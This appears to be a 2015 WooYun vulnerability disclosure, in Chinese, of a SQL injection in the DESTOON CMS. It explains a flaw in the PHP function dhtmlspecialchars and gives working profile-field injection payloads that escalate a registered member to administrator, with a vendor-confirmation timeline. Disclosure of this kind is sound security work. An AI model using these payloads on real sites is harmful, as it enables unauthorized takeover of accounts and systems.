当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0142234

漏洞标题:DESTOON某处注入可以直接提升为管理员

相关厂商:DESTOON

漏洞作者: Noxxx

提交时间:2015-09-21 10:32

修复时间:2015-12-20 10:52

公开时间:2015-12-20 10:52

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-21: 细节已通知厂商并且等待厂商处理中
2015-09-21: 厂商已经确认,细节仅向厂商公开
2015-09-24: 细节向第三方安全合作伙伴开放
2015-11-15: 细节向核心白帽子及相关领域专家公开
2015-11-25: 细节向普通白帽子公开
2015-12-05: 细节向实习白帽子公开
2015-12-20: 细节向公众公开

简要描述:

DESTOON sql注入漏洞

详细说明:

首先看一个函数 :dhtmlspecialchars

function dhtmlspecialchars($string) {
if(is_array($string)) {
return array_map('dhtmlspecialchars', $string);
} else {
$string = htmlspecialchars($string, ENT_QUOTES, DT_CHARSET == 'GBK' ? 'GB2312' : 'UTF-8');
$string = str_replace('&', '&', $string);
if(defined('DT_ADMIN')) return $string;
$_string = str_replace(array('"', '"', '"'), array('', '', ''), $string);
if($_string == $string) return $string;
return strip_sql($_string);
}
}


好像也没什么问题,仔细一看这行:
$string = htmlspecialchars($string, ENT_QUOTES, DT_CHARSET == 'GBK' ? 'GB2312' : 'UTF-8');
这行功能是 把双引号和单引号转换为实体化.在继续往下看,
$_string = str_replace(array('"', '"', '"'), array('', '', ''), $string);
这一行居然又把实体化的双引号给替换成空了,这样会造成一个后果,会导致转义字符实效。
我们来从头到尾来过一遍。
首先初始化变量,对变量进行转义
if(!$MQG) {
if($_POST) $_POST = daddslashes($_POST);
if($_GET) $_GET = daddslashes($_GET);
if($_COOKIE) $_COOKIE = daddslashes($_COOKIE);
}
此时我们提交 ?g=" 那么对应的变量应该是 g=\"
我们在调用htmlspecialchars进行转义:
g="\
调用str_replace后变成 g=\
看这样可以直接进行注入了。
这个函数应用的地方非常多几乎每个功能模块都有再用,找了一个修改资料的地方可以直接提升为自己成为管理员。

漏洞证明:

首先注册一个企业会员,成功后。先修改一次资料 分别把个人资料里面阿里旺旺和公司联系方式里面的公司传真修改为一串数字 后面会用到

QQ截图20150919151028.png


QQ截图20150919151046.png


保存修改后,我们再来一次修改资料,先修改公司资料填入以下内容:

"
,groupid=1 ORDER BY fax=587587554251 DESC LIMIT 1#
fax=你刚刚填入的公司传真。


QQ截图20150919151144.png


更新成功后 销售产品会变成 ',buy=
我们再来第二次更新修改,这次修改个人资料:

"
,admin=1,groupid=1 ORDER BY ALI=52514541511112 DESC LIMIT 1##
ALI=你刚刚填入的阿里旺旺。


QQ截图20150919160810.png


成功后手机号码会变成 ',department=
此时已经成功提升为管理员,

QQ截图20150919151350.png


(注入管理员的话很简单,因为在同表内。)
最新版测试通过。

修复方案:

有点蛋疼,转义。

版权声明:转载请注明来源 Noxxx@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-09-21 10:51

厂商回复:

感谢反馈 我们会尽快修复

最新状态:

暂无


漏洞评价:

评论

  1. 2015-09-21 10:35 | 牛肉包子 ( 普通白帽子 | Rank:254 漏洞数:64 )

    我次噢

  2. 2015-09-21 12:36 | menmen519 ( 普通白帽子 | Rank:789 漏洞数:150 | http://menmen519.blog.sohu.com/)

    mark 真快

  3. 2015-09-21 18:33 | roker ( 普通白帽子 | Rank:372 漏洞数:109 )

    大赞。好棒~